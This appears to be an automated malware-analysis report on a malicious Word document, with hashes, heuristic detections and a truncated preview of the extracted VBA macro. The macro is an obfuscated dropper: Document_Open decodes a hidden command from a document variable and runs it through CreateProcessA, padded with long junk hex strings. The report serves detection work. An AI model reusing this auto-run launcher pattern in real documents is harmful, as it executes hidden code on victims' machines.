Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79de756217f0431b…

MALICIOUS

Office (OLE)

93.5 KB Created: 2018-03-12 21:40:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: fc0b974b5ba46dc154dd28a39866b2df SHA-1: 7b906ea114611d3c28cb4ae1d20433d99f194f55 SHA-256: 79de756217f0431b7e91a6a2df84dfb64e96b7a52c1ab3922ff185ca8d1a27c7
200 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains VBA macros, including a Document_Open macro, and triggers a critical heuristic for CVE-2007-3899, a memory corruption vulnerability in Microsoft Word. This vulnerability is leveraged to call the CreateProcess API, indicating an attempt to execute arbitrary code. The presence of the Document_Open macro and the specific CVE exploit strongly suggest a downloader or dropper functionality.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Valyria-6666912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6666912-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    #End If
Public Sub Document_Open()
Dim J_OV As String
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Dim J_R As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22008 bytes
SHA-256: e42042adf4ee4b6fe0be7b635bb9f9cfe5d63d17294195b42f4158943e417614
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 58 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If VBA7 Then
    Private Type FZ_J
        TW_KH As LongPtr
        LY_SK As LongPtr
        V_AV As Long
        QWZ_ED As Long
    End Type
        Private Type EC_N
        U_D As Long
        Q_CUW As String
        LI_XDK As String
        ZZT_UF As String
        BM_BQW As Long
        JGE_P As Long
        ZOB_OY As Long
        ELJ_KQ As Long
        SQ_NJ As Long
        XSX_K As Long
        OOH_V As Long
        WP_S As Long
        O_I As Integer
        ZVC_YWO As Integer
        Q_CUW2  As LongPtr
        QPK_VB As LongPtr
        Z_JNN As LongPtr
        CKY_T As LongPtr
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal FB_ADN As Long, ByVal Y_BHR As String, P_EZD As Any, H_CA As Any, ByVal IM_T As Long, ByVal XE_TC As Long, ByVal G_KV As Any, ByVal L_OT As Long, J_GQ As EC_N, ZHB_WCA As FZ_J) As LongPtr
    Private Type KOQ_PKG
        VZ_S As Long
        BS_AIW As LongPtr
        IHX_KW As Long
    End Type
#Else
    Private Type EC_N
        U_D As Long
        Q_CUW As String
        LI_XDK As String
        ZZT_UF As String
        BM_BQW As Long
        JGE_P As Long
        ZOB_OY As Long
        ELJ_KQ As Long
        SQ_NJ As Long
        XSX_K As Long
        OOH_V As Long
        WP_S As Long
        O_I As Integer
        ZVC_YWO As Integer
        Q_CUW2 As Long
        QPK_VB As Long
        Z_JNN As Long
        CKY_T As Long
    End Type
    Private Type FZ_J
        TW_KH As Long
        LY_SK As Long
        V_AV As Long
        QWZ_ED As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal FB_ADN As Long, ByVal Y_BHR As String, P_EZD As KOQ_PKG, H_CA As KOQ_PKG, ByVal IM_T As Long, ByVal XE_TC As Long, ByVal G_KV As Long, ByVal L_OT As Long, J_GQ As EC_N, ZHB_WCA As FZ_J) As Long
    Private Type KOQ_PKG
        VZ_S As Long
        BS_AIW As Long
        IHX_KW As Long
    End Type

#End If
Public Sub Document_Open()
Dim J_OV As String
J_OV = "7E3F617E87BB859B7E7E7E4C7E657E81AA7E9F9BBC537E80A67E8D896E49837EAD537E7E9B788B7E7EA17E7EA2AF7F5CB57EBC7E7E7E7C7E7EB77E7E7E50BB7E836E7E7EB75E7E71857E9E5A744D7E7EB1707E7E7E7E7E7E7E7E7E977E7E7E7E7E7E727E987E9549898E40BB617E6F7E7E967E7C7B947E7F4B4E7E7E3F7E7E7EB37477BE7E64577EBC74819E7E547E4AAA89AD69407E7E7E7E7E7E887E7E48"
Dim GKG_Y As String
GKG_Y = "AE7E6A467EBD7E7E7E7E7A7E465274917E9B7E567EAB7E7E7E7E7E7E9F7E7E6A7E7E7E4D7E7E997E7E7E7E1F7E7E817E92417E957FA07E6978A2AF7E547E7F9F7E7E5D9C9A2D4D7E7E7E7E557E7E9A7E7E7E7EA97EA47E7E6084B9687E7E92A14E7E97629D7E7E8187A6B57EA5617E806542AFBB65586FBD7E79BC727E7E637E9F467E7E767E7E7E61A67E687EB37E7E7E7E7E7E7E667E7E7E7E4EA1A69082"
Dim BL_ADL As String
BL_ADL = "455A6345487E627E7E427E807E7B48877E8CA07EB95D7EA07E7E617E7E7E7EAE627E8F7E7E5A7E42497E5A7E7E7E7EA3597EB97E7E837EB67E3F4F88827E7E9CBD987EA25E707E7EAF777EB97E4D7E547E997E7E7E4A7EA57E7E7E7E7EA882BBAF677EA1847E6C7E5A7EBE6A7E7E9E7EBC7E7E7EA77EB37E637E7E627E7E9A767B7EB755A7547E7E7DBB5F7E527E7E7E7E827E7E8B527E7E917D7E77497EAB"
Dim XJE_HQ As String
XJE_HQ = "6C627E7E7E7E537E7EB469A9925F4F507E7E7EA97E7E68527E7E697E7EB4994E7EA85E644997516E7E7E7E7E5E9F716CB97E6548408DA348987E60607E894A3F7E999E7E7E7E7E7A7E7E527E7EA27E7E4D818D904C7E44547E6F757E837E7E7E587E40BA7B7E7E807E93B07E587E7E7A7EBD8B7E7E7E5EBC927E7E9D707B656DA1547EBEAE7E4F868F7E5D7E88B8A0979E7E647EB7867E9FAD9487AA7E7E7F"
Dim KJN_L As String
KJN_L = "7E7E9AB96A7E987EAD44A85D7EAC727EB37E7E77567E7E598B9F4F58A97EB79991A37E7E5C7E6B7E7E646CB27E7E4061AC7E6F7E477EA7407F6D7E7E7E7E4E7E967E7E7E7EB19B7E7E9B817B7E7E4D7E7E7E87A1897E957E7E9F7E9E7EA37E7E7E8B927E7EA77E7EAD7E4A7E437E4E7E867E5A827E7E7E95507E7E50A4789F7E9AAB7EAE7EB58A847E7E7E508A7E7E699098577E877E619C7E7EAE7E7E7474"
Dim E_KJR As String
E_KJR = "8F51A27E7E7E7E8B7E7E4A7E477E7E4B60A67E7E88A37E7E46BA7E7E7E7E77AD7F9E7EB5867EB07E7C7E727E6E7E7E7E68527EA07E8CA67E647E7E627E937E7E7E7E7E8B4E7E7E7E7E4B7E7E7E7E7E7EA67E7E7E7E7E7E7E90BD7E8C4D7EAF5C9D7E7E7E786B617E807EA2977E5B957E7EAB7E7E4C7E9385839A7E7E7E627E537EB87E72547E977E7E7E7CA47E7E7E7E647E8B7E5F8F68837E8D7E8A705A5D"
Dim X_XI As String
X_XI = "7E8D7EB7A5617E56527D886464567E8B7E607E7E657E7E7E677E7EBE7EB99F7E7EB5568D53977E917E77867E6A426C7E414F69767E7E5E7E5B8F7E72927E7E7E7E977E7E7E7E7E7E638680AD867E7E7E7E7EA975898A7E9697707EBD7E7E917EA84F7EAF7E7E4494A052787E7EB6A59190AF7E4E6D7EBB4C7E87AF7E7E897E877E7E7E6957747EBC537E76517E7E7EB06C70B381AF7E7E7EB582BB789E557E"
Dim FX_FC As String
FX_FC = "7E7E7E7E67777A7E7E597E837E567E7E3F7E5C8F7E9C5C50A37E7E9E837E7E7E60587E864A877E7EA9957E8F7E9D7E7E787E7E7F5C5C7EBA7E16898D8DA4537E7E7E7E877E7B689A4B7E466E7E7E828DB2497E7EA5427E807E9B7E9C7EB7A17E7E7E9E7E837E7E7E4F60BB8A7E68927E7E827E8D757E417EBB7E7E7E7E7E56954D7E7E7E7E7A7E7E7E7E8BAE9A487E7E5EA37EBA599C6B667E7E4274BC7EA4"
Dim DBB_BG As String
DBB_BG = "7E7EAFB14ABC8F977E7E677E7E679B7E7E7EB87E7E7E7E9A7E57937E8AB4909F7E7E7E7C7E7E52717E7673976B7E7E7E757E4D7E698A7E7E56A1A37EA3A8AC7EB2AE7E7E697EA17E7E7E968F42BA7E7E537E817EA1847E656F7C557E9B7E9D7E7E4954B46375517EBE7E7E527E7E727E93BD7E7E4C917EBC7E717E7E7EAE7E7E5E7E7E7E7E7E7E4A7E7E7E8F525188AC7E5B478A7E5D7E7EB27E7E7E7E4F4B"
Dim V_Y As String
V_Y = "7E7E6768B3527E7E7E687B7E85A87E7E6C7E7EA68067404D4B8A457E7EAF51477E82AB5E5F83AD47927E817EB24D6B6C9148AD7E587E7EBD7E595B684C7E7E5656737E427EA87E7E767E527E7E4B7E7E5D7EB17E406D7E4BB77E6B4566837EA17E697E7E75686F7E7F7E7EB47E607E7EBE5E4A73BC4E557E847E4F7B7E7E7E7E6D9A7E7E7E7EBC7EB8B69694847E47787E7E537E7EAB7E5F7EBDF77E7E6F7E"
Dim LWX_T As String
LWX_T = "6397557E7EA47E92727E7E7A7E7E7E7E857E78A199957E7E4E7E7E7E65B87EA17E62797E67BA7E6C57A9A47E81467E7E577E72BD7E7E7E4354B17E5E7E4C80A77E497E7E7E5C6B7E74817E61667E7E7EB97B844E7E7EA2757E7E7E4C969C628BA77EA6827E7E457E7E7E7E7E6A7E9B857E7E98779672AF7EA67E7E667E7E7EA37EA3BE79AF7D78537E7E947E50B1647E507E667E6F7E737E81A3B65FA47E85"
Dim KKA_IC As String
KKA_IC = "7E527FB4A97E4A9E7E5F639D7E594D945C7EB47E3F7E7E734D6F7E7E4B7E587E6886B27E7E7E7E7E456CA97E4A867E7E734D987E7E7E85496B4AA5797051927E45B4749C7E737E607E7E7EAB53677E7E7E7EAD7E7E7340A87EB1BE7E7E7EB47E50704F3F7E777E8D60B27E567E7C8D957EBE7E409B7D7E7E7E937E7E7E7E867E7EAF7E7EB1747EAF517E7E7E7E7EA47E7E7E8B7E4F7E7EB97EA7907FBA7E7E"
Dim GA_P As String
GA_P = "907E689A7E7E907E847E7EB17E7EAD7E7BB2487E7E7E7E4F887E7EA15E7E51647E4B7E49587E7E7E7E60459E7E7E567E7E42467E7E837E8A807B7E91655B7E8C678C7E7E7E627EADA1557E7E7E7E7EAFA7A47E497E7E7E7E6D7E7EA37E84B3448A51A17E7E866A7E746CB07E7E7E7E7E7E977E7E8C7E7E769C7E7E7E8AAD7E5C7EBD887E9A577E60797E7E9BBEA4467463947EB89B7E7E7E8E6A827E7E9C7EC2937E807E7E65A9B57E9D7EA57E7E7E8C7E7E7E617E7E948D6F7E549B7E994D7E69BD8D666DB5417E6C987E7EB28B52B67E7E78AD7E7EB93F7E7E7EA0AB7E437E7EB87E7E7E565E6C7EAC7EA47E7E407E677E7E9B7E7E8A7EB8777E667E937E8C7E7E5F7E717E618EA5754C4E88774C9E7E7E877E7E7E7E81477E75BC447D577E567E"

    X_RS
End Sub
Public Sub X_RS()
Dim RNW_MZG As KOQ_PKG
    Dim SI_CIG As KOQ_PKG
    Dim AXF_V As EC_N
    AXF_V.WP_S = &H1&
    Dim QV_OKM As Long
    QV_OKM = &H20&
    Dim AI_UML As FZ_J
    Dim P_TP As String
P_TP = "747E7E877E7E7E7E7E9B7E7E697E9B7E417E7E7E7E7EB28B7E7E7A8553A57E7E7E577E7E7E7E767E7E707EAB7E7E7E9A7E424C7E7E7B697E7E797EB6BA7E807E7E837EAF677E7E98AC7E817E7E7EA59D7E7E7E7E7E5B7E7E7E7E7E467E7E7EB47E447EBB8BA489B37E7EB3797E92577E727E7E7E7EA8807EA465A77EA47E917E7EA17E977E"
Dim KXF_PLI As String
KXF_PLI = "84A5B97E7E977E617E907E837E9F54417E667E5155657E7E4D7E7E7EB37EBC7E7E7E68AC6C784F7E7E7E7EBC7E604D7EB22A7E7E7E6E7EBD7E617652B3AD7E8D7E767E7EBC557B9B7890BE7E7E7EB67E6F7E6C7A7E7E7E867EB0A4BE7E9F4E4B7E7F7E7E7E6C7E959D7E7E7E677E7EBB7EA1827E7E524D8C7E7E7E7E7EAE7EAE7E59A97E7E"
Dim T_CJS As String
T_CJS = "41747E7E7E7E7E5E7EBC7EA65BAE927E70AB50A08D7E7E7E7EB77E7E7E537E7FA97E7584907EAC7E657E5D477E3F9B9978BE7EA17E80949A813F9F7E9E7E967E7E7E44AF7E7E59867EA07EA1BC657E5A768E51B87B7E687E7E428FA87E717EB27E7E7E7E7E8DA391AE91B37E7E7E7E7E667E846F7E8D7E7E7E7E7E6B7E7E7E7D6A7E6DA540"
Dim KKS_Q As String
KKS_Q = "7E667E797E7E7E7DB57E79A57E8F827E7E5E4761A47EB481BD7E7E487E7E7B9C7E7E7E487E5266587E92837EAC4C7E7E7EBEB465827E527E7E7E7E427E7E9B7E7E787E7E7E937E856F8F4F7E589C7E6E7E75BC467E9673968A557E7E7E537E627EB17E7EBC767E7E7E797E4E7EB97E7E7E7E667E747E807E7E9D7E877B867E657EA288897E"
Dim GZ_ZRH As String
GZ_ZRH = "7E677E7E7E7E7B6BBA737E92AC7E7F7E7E7E7E9D7E5252767EA3A50D988D897E7E7EBD4984AE7E7E7E7E7EA7A69A7E7EB77E7E537E7E7E857EA77E7E477E477E7E7E534DA17E7EBB8D816D7E7E9A717E7E457E7E7EAA7E8F7E827E7E5E7E487E7E677EB57E557E8F7E939B7E7E4C7E4A7E757EAB7EA2588A7E7EAE7E7E6E9464615A729B96"
Dim XBQ_F As String
XBQ_F = "547E578A4E7E4D7E7E7E75797E627E886F42AB6A7E8BBE7E7E64457EA37E7E9D7E7EBA7E607E7E498F7E4678BB4E4A7E7E7E56AD7E6B7DAD7E7E769F4692A3449B7E7E7C797E4D727E7E7E84855A7E59A57EB17EA97E7E7E4B4DAE7EBA427E7E417E507EA4787E7E7E919A68917EAE857E7E7E9F7E5CB57E6D7E7E7EAA7E7E9181A8BA7E8B"
Dim OHY_YD As String
OHY_YD = "407E7E7E7E7E738B7E7E6874A1B37E7E7E77767E84885A7FB3477E7E597E7E7E7EA27E4C8D80878A7E7EB0758BA77E7EBC7E59537E7E88B57E7E827E7EAF7A7EBC79417E73987E7E7EBE7E7E7E4B9285AA607E7E7E4A5868847E7E448E45463F7E7E7EBA7E7E7E7E637E5D7E7E7EA57E7E947EB15F7EB47E7E7EB67E7EA9607E7E9C7E7E7E"
Dim IPD_CN As String
IPD_CN = "7E8D7EA2637E537E7EA96C7E7EB7997E478E7E788096917E7E6F7E574B7E7E7E7E7E7E7E8D738F477E41654C7E857EBD7E7E4C7E7E7E7EAA7E7B7E7E446A764E7E7EB67E7E7EA27E6F845B7EA07E687E70404B807E7E7E9C7E7EB3607EB175677E7EAA7E4D5262B4A47E7E7E7E92A1A26B7E7542A3427E7E4A7E537E7E4DA27EB878727E7E"
Dim B_QWE As String
B_QWE = "7E627E7EF35D7E4C7EB7B6507E7E7B723182BD7EAC7E7E7E96917E80975E7E7E807E87597EB87E487E7E517E58BBAC85B57E9F7E477E7E8E5F717E7E7EB1977EAB7E507E5868787EB47EA27E7E7C7E7E7E9CA4785F987EB8857E6271A282988BA4A9B86B8B857E7E635E7E7E6C7E7E957E7E9A45B97E8D7E7E7E917E725F6D7E7EAB557E97"
Dim Z_KB As String
Z_KB = "7E7E53407E428A907E7EA07E7E847EB87E7E927EB6B17EAA7E7E5B7E7F417EA07EAAA47E7E89A47E527E8F9F7E6F9E7E7E767E7E447E627E54A1A97E73897E9D7E668D7E7E507E757E7E7E607E7EA8676D7E47523F9B7E867E7EA87EAC7E7E7EAE7EA7A964997E936B707E7E7E3F7E457E7E897E7E7EED7E7E7E817E7E6E40A37E7E7E6A7E"
Dim H_NL As String
H_NL = "7B467E54818E7E7E46A652B67E7E7E9E7EBD7E6E507E798F7E68B77E7E7E7E7E7E7E7EBCBE9D7E7E7E7E7E8E7E677E5EAEA3504B7E9F7E7E7EA54F677E7E54567EBBB3669C7E7E76A57E7E78A78F855F597A7E7E7E7E7E7E5AACBB7E8F7EB1767E7A7E517E7DA87E7E61687E87557E46AD7E7E7E517E7E91A4667E544E94407E7E4967477E"
Dim C_WK As String
C_WK = "81624E7E7EA2497E957E7E7E4C7E7EA89C8B5B7E81787E517E7EB07E7EA45391A542B191767E7E4EB37E7241B7937E7ED0A9A87E7EAC7EBD517E7E7EBB7E7E857E7C55657E987E7E9E7E4E9A7545BD5C537E7E7E6C7E7E7B7E697E4D7E487E4D7E7E68507E52B57E9D73874AA57E7E8E7E7E7EAD71BD947E7E8B907E45AC6756AEAF7E7E87"
Dim O_AT As String
O_AT = "B17E7EB27E88957E8B8B918697647EA8417E637E977E5E7E8286907E978E7E4AA0417E7E558B607E7E78897E6D857E7E7E6D7E7E64A54E7E417E7EAC7E7E59B1A66763697E4A7E826E5D487E7E7E517E917EBC9D7E8F7E7A7E896D7E967E6F797E5C7EA74361477E7E469B527EB77E995A476D7E7E55B37E7E9A7EB5A47E92BB7EAA7E7E5B"
Dim Z_R As String
Z_R = "7E9A947E7E7E7E7E8B7E7B7E9DB3947E7E7E687E9F7E697E7E7E867E7E7E7C709E7EA67E877E48A77E7E687E5C9654518ABC7E3F7E7E7E637E7E7E55599E854AA17E4CACA67E7E7EAFA8874F627E7EAA7E7E7EB09E7E54627E497E7E7E7E6D7E887E7EAA7E7E5A7E977E537E7B7E7EB67E7E7E427EA796824D7E7E767E7E7E7E7E6E7E7E7E"
Dim LWD_W As String
LWD_W = "757EB1828D8B7E4E7E7E7A419C4B547E6A7E7E8FA69B9A577E7E7E7E4B7E7EBE7E7E657EA25B7E724F7E7E737C7E7E7E7E8E7EB17E7EBC989D9E7E7EBB5F7E81597EA97EAABB8D728B7EAC7E7E648347527E72B47E6D7E9F437E5A7E7E7EA7589D4C6C7E9E7E7E7E9B7E7E7EACAAB24B424E7E7E7E7B4049B77BA8BA9B7E437E9257568C7E7E727E7E"

   Dim PST_UB As String
   Dim YS_X As String
   Dim FBF_S As Long
    Dim BG_FUX As String
    BG_FUX = ActiveDocument.Variables("TAOIX").Value
    GoTo x2
x1:
    Dim X6
    X6 = CreateProcessA(0&, PST_UB, RNW_MZG, SI_CIG, False, QV_OKM, 0&, 0&, AXF_V, AI_UML)
    GoTo x3
x3:
    Exit Sub
x2:
Dim JK_VP As String
JK_VP = "A57E7E8E9C7E527E7E787D837EB796407EBC7E627E7E657E7E58467C7E7E7EA77E7E57978D7E7E7E97967E7E7EAC6C7E7E7E827E7E7EA27E4AABA87EA87E5E7E7E7E7E7E817E7E7EA84263B97E4F7E4C7E4E647E6D8C7E7E7E72567E5E817EBE7E7E786F477E7EAC48A07E7E9AB19B7E7E987E7EBC7E7E4D7E7E50887E6B7E7E61A77E7E5A647E5A7E7E7E7E657EAC7"
Dim CHN_CYA As String
CHN_CYA = "E807E827E86B79EB35C7E7E577E519E7E799E7E7E7E75B997457E4A438C7EB7947E7E7E507E655FA37E55A18B6C7E7F7E83657E7E7E594AAE7E7EB1AC9A6591957E7B42678C44537E7E8C7E7E6C6A727EB17E66897E7E7D7E7E7E707E7E667E4F7E7E7E7BAF7E60AB7E8A8FA176807E7E7E7E7E7E477E5D7E85887E9A7E647E7E767E7E98417E447E69767E997E9F7E"
Dim WUS_P As String
WUS_P = "AE7E7E7E7E4690AB7E7E668A837E7E697EB3495D627E7E7E7E69B97E4E7E89AFB27E7E7E7E7E7344A17EBD7E9372BA7E71947E8B8D437E7E7E7E7E4A7E3F945477687EF8637E5D5F5B927E7E85AA8A6AAE7E66AE7E7E7E7E4E7EBA9695BC7E7D7E90717EB8707E6C6D7EA77A467E587D7E544B7E7E7E7E7E7E537A7E7E7E7E7E8A59586C7E7E7E7E807EB47E7E7E7CB"
Dim OLH_QRO As String
OLH_QRO = "680B0788F717EBC5C7E5B7E7EA3607EA9AE837E647E5D877E7E7E7E77437E7EA3907EA27E8657A37E4E977E5AAD7E7E7CA67B7E577E61678A9A7E7E7C7E4065527E6E7E666A7E7E7EAE7E7EAC9C7E7E974D8B7EA27A8B7EAB7E9C697E5E59877E7EA87E4F7E7E629A7EB77E3F947E7E7E6D7E7E777E7A7E7E6BB6467E7E7D7E7E9C87507EA7467E7E56AB8BBC7E7E7E"
Dim WQ_ZR As String
WQ_ZR = "66AD817E7E7E439042A17E93437E7E5D7E75987E7E7E5A5D707E7E62917E7E77837E7E7E7E7E987E4C9A7E7E7E517E8CB8857E62498491627EBE6E7E7E967EB24EB26F7EBE428A7E847E7E7EA1BC7E7E7E4372A7915F7E89BCBA8DAABDB87E7E7E877E7A7E7EB57E797E59B17E7E427E7B7E638A5F7E7E7E87427E7E6B7E7E5B57587E947E7E757EAB5781AB7E7E8AB"
Dim G_GZ As String
G_GZ = "B7E7B7E7E9B677E8E7EB07E7E5A4C516194B87E677E7E937EA57E467EBE4C9C88A7A27B7E7E7E7E7E64447EB6AA7E8F4A6F897EB150617E607E786ABC5F477E7E537E987E7E667E7E427E4A7E96AA7E7EBA747E7E76847E597E7E9E7D7E5C757EA27E797E617E7E995E8D554A7E7E637E7EA2688853777E7EA6AABD7E7E9C75B8AC7E7E7E7E527E737E6470437E7E8D"
Dim MCS_K As String
MCS_K = "7E7E7EB0787E7E9E7EA78A76B2797E7EB37E7EA17E7E7E7EAC7E467E7E7E7E6E79937E7E7E7E7B7E7D7E977E7EA87E7E6348A97E94897E557E84727E967E72BE46787E6F59927E7EA0627E6D467E42427E755C617E7E7E7E7E7E7E7EACA863477E6F454D487E7E7E7E654F7E7E8C6E7E7E829B549C6D87A17E77974D59617E98487E407E7E7E7E7E996F7E7EB17E477"
Dim JDR_R As String
JDR_R = "EA9417E684B4E7E7E7E7E9C7E7E7EAE7E7E7E8A9A7E7E7E6B87BD7E7E6E7E7E57B07E8B7E92797E98707E627E99539A7E7E6B9F4DA27EA86F93BEBEA87E207E4F7E9F7EA97E50AE847E4C7E537E7362747E428A7E7E7E625A7E7E7E7EAD4EB17E7E7EB88F7E7E8E7E5C759BB67E7E8985BB7EA4BA467E8D7E7E957E747E85BE737E7E7E7E9E7E7E7E9E86A465AF7B69"
Dim Z_B As String
Z_B = "7EB04C587E7E407E7E7E7EBD409D707EB87E7E7E7DA77EAEA97E7E7E7EB37E7E77A47E7E7E7E62AF4283589CA7B17E7E7E7E7E7E727E7E64BE7E957EA0514149987E7E9A7E727E7E7E7EA37F954B7E77747E7F4E7E58977E7EB855697E7D4D7E804E437EB8887EB07E7EA47F947EB2745D7E7E7E7E677EB8A47E9F5C7E647E7EB27E86477E7E7E4C7E5B3FA57E91B97"
Dim X_S As String
X_S = "E7E7EAD7E7E5D8C7E7E5B537EB193AE7E567E7E957EA97C9E7EB2437E667E514F7EB87E7E4B71937E9F827E6B7EB87E848D8D7E6262787E4D7E5958B67E7E407E7E7E7E4449B2B77E6665A17E7E7E687E777E7E7E7E80567A787E97837EBD7E7E7F837E4CBB7E51939872807E8C7EA09DB37E6A7E4A9C7E9A7CAB7E7E5D4B577E7E9C7E859C7EAF7E6C7E8C4C7E7E7E"
Dim Y_R As String
Y_R = "7E7E747E7E407E7EB9BE7E4FB582748C5A857E7E785A3F7E8F7EAD7E4E7E7E7E7E7E7E777E99887E7E7E7E9F5F7E8B3F7E4A7E7E7E7E80AD5C7E767E7E7D7E7EAB7EB57E7E7E91B88F61827EB37E7B4E7E7E7E7E727E927E7E6A98A47E4A7EB07EA9BC8E7E717E967E527E7E7EBD7E4D7E7E7E437E497EAF7E7E7E7E9A7E837D7E5D48467EA36C7E5FAF7E7EAD7E89A"
Dim XM_H As String
XM_H = "869547E7E7E4B7E7E9C7E7E7E7E867E6B9E7E464D7C9F7E7E6FA03F5788A58F4F7E9F6E9E5897607E867E787E6F5B7E674DAA4D7E829A7E7F6A7E7E4B7E9E7EAE7E796557635245BC4B7E9F667E9B537E7E487E96AC7E66B2B95D7E1B7EBB8174827EB14F7E9647A3767E7E7E847E7E737E7E7E405E527E7E4465817E5D4B7E7E7E5771957E5E7E8D487E7E7E7E7E5C"
Dim SFO_HDS As String
SFO_HDS = "827E757E7E73637EB07E707E577E7E7E7E7E8DA5ACA37E8F7E7E7E9E6A477E41A47E7E817E7EA17E9479947E7EBC4A7D8398A57EB78A7E7E917A7E8D7E7E7E68BB7E7E7EA47E7E7E7E56687E7EB04BB47EAB7E497E58437E7E9499537E7E7E6A7E447E98BD7EA97E477E737E997E7E7EA3927E7E7E7E7EB47EA87E6A7E7EB945AB815A4F7EA67E417E7E9A7EA47E7E7"
Dim KWB_N As String
KWB_N = "97F807E7E444D707E7EA87E7770BD7E7E7E9C897E92A17E7E557E90874E4D7E7E7E7F4F7E3F9C50ADA7627E7E7EA1719A7E7E6C7EBB7EBA575B8A7EBC9A9E997E7E7EB17E497E3F788E7E7E7E7E7E7E6D7E585E7E7E7E7E7EA47E51487E7E687B7EAA7E9C6B886C407E6C9AA2837EA57E6B7EB37E7E7E907E7E7B7E7E557E7E7E7E7E7E7E7E7E7E7E9C905F7E7E827E"
Dim EEM_YP As String
EEM_YP = "7E7E7850B3917E7E7E7E5F3F55369E777E7E9A6A7E7E7E7E6C7EBCB94B7E7E7A627E7E547E80626A407E7E7E7E9E7EB1807E7E847E8E859D50567E9F7E7E7E7E7E7E7E6D59477E7E7E7EB8987E7E6A7E9B7E7E499F7E836F4B7E7E97637E7E7E4B7E4882667EAB7E7EB67E446D9D7E967E7E757E667E7E7E7E7E7EA47E7E7E5C7E7E7E7E7E7E667E3F7D407E7E3F3F986A7EA17E50987C7EB97EBC7E55B34F7E537EAF7E7E839C7E7D7E7E7E8C877EA4987E7E7E87657E7E7E7E557E647E7E7E7E7E547E9F727E717EB0597E94B4704457A97E7EA87E847EA15C6CA87E574B7E7E917E7E7E7E977E9AA77E7E7E7FA37E7E9F7EAC7E7E7E7E547E7E47974C7E9C62BC7A82B0707E67"

   For FBF_S = 1 To Len(BG_FUX) Step 2
        YS_X = Chr("&H" & Mid(BG_FUX, FBF_S, 2))
        PST_UB = PST_UB & Chr(Asc(YS_X) - 63)
   Next
   GoTo x1
End Sub

Sub Workbook_Open()
Dim J_R As String
J_R = "727E7E4B6F8D7CB46F7E7E817E414B7E4D7E7EB6AD68857E7E9F7E7E4F70A096BC937EA1827193A97E7EA37AA57B4B43487E7EA87E7E7E7A7E9587A37E7EB97E89B67E7E7E6A794B7E907E7E7E7E7E7E4B66B97E537E7E7EBB7E7E8D60A67E7E7EB55B7EA18C6D7E7E9C62BA7E7F7E7E9F977E627E7E7E7E7E797E747E7E79B77E5"
Dim M_EK As String
M_EK = "F7E7E7E7E7E7E7EAA807E7A905E7E7E4E407E7E7E9F49BB51887E7EB17E41607E7E7E7E7E7EA3517E8EB7487E7E5577686AB67E7E99BC7E487E7E7976837E7D7E7E7E66507EB561A77E7E4F7EB2527EADB5877E7E677E69B97E7E7E6E687E7E788DA57E7E65807E937E7EAB997E7E7E7E7E7EB47E7E7E7E99557E7E7E4255839763"
Dim DL_N As String
DL_N = "7E7EBE8E4546767E657E4C9A7992759C587E457E7E7E62807E696A9F907EB66741B07E458AAF7E7EBA7EBC447E7E7E757E7E7E9C7C7EA77E7E7D7E7E7E7E8699637E987EA66F517E7E87497E845C7E7E8D7E7EAE7E587E6E473F774C7E587E617E527E7E7F7E7E867E7E7E7E7E7E717EB74A7E687EA67E437E7EA6A34D627B7E677"
Dim CZ_ALO As String
CZ_ALO = "966567E7EBE7EA7A1997EAE767E7EB27E7E7EBA92A57E7E7EA27E7EB27E7E917E5A757E427E9C4BAE7E7E5EAB7E71B8A5657E7E7E7E7E5A7EA8447E7E537E7E777A977E7E897E7E7E986574407E5FB0A3484C7E7EAB7E7E9E7E7E7E7E7E73997E7E7E707E7E7E5BA97E7EA59A7E597E877EA57E46697E7E7B7E85558D607EA2647E"
Dim BC_CHU As String
BC_CHU = "98657E7E7E7EA17E637EBA7E7C7E7E7A91676BA4927E50597E7E857E7E887E7E807E877E7E977E7EAB55447E8F7E7E7EB4517E7E767EB67E537E7E7E7E7E617E7E7E967EB47EA37EAC7E7E7C7E757E90977E597EB95F947E587E7E469C7E7E7E7E687EA08A7E517E7EA67E7E797E7E437E7E7EA6A07E7E7E7E9B7E7E7E9E887E91A"
Dim NKA_N As String
NKA_N = "7457E7E8F4C7E7E7E7E7E40427E58687E7E4B7EB4807B7E90757E7EA67EB87E7E7E5F66A6987E5C7E5A7E717E987EB6BB7E7E857E7E81AD927EAF3F7E917E69B4A5507E40B9724D7E7E987E49707E8C61BE7E727E847E517E527E885C567E7E46947E7EB4417E7E967E757EA3617E627E84A77EAB6FAA7E5887A67E7E7E7E7E427E"
Dim WU_D As String
